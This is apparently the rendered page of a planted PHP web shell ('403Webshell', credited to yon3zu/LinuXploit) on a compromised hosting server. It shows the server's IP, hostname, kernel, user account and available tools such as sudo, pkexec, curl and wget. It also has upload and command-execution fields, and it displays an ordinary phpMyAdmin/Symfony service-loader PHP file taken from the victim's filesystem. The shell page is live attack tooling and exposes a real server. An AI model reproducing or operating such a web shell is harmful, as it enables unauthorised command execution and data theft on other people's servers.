403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/cwpsrv/var/services/pma/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/cwpsrv/var/services/pma/libraries/services_loader.php
<?php

declare(strict_types=1);

namespace Symfony\Component\DependencyInjection\Loader\Configurator;

use Symfony\Component\DependencyInjection\Reference;
use function is_string;
use function substr;

return static function (ContainerConfigurator $configurator) {
    $services = $configurator->services();
    $loadServices = static function (array $servicesFile, ServicesConfigurator $services): void {
        foreach ($servicesFile['services'] as $serviceName => $service) {
            if (is_string($service)) {
                $services->alias($serviceName, $service);
                continue;
            }
            $theService = $services->set($serviceName, $service['class'] ?? null);
            if (isset($service['arguments'])) {// !== null check
                foreach ($service['arguments'] as &$argumentName) {
                    if ($argumentName[0] !== '@') {
                        continue;
                    }

                    $services->alias($serviceName, substr($argumentName, 1));
                    $argumentName = new Reference(substr($argumentName, 1));
                }
                $theService->args($service['arguments']);
            }
            if (! isset($service['factory'])) {
                continue;
            }
            // !== null check
            $theService->factory($service['factory']);
        }
    };

    $servicesFile = include ROOT_PATH . 'libraries/services.php';
    $loadServices($servicesFile, $services);
    $servicesFile = include ROOT_PATH . 'libraries/services_controllers.php';
    $loadServices($servicesFile, $services);
};

Youez - 2016 - github.com/yon3zu
LinuXploit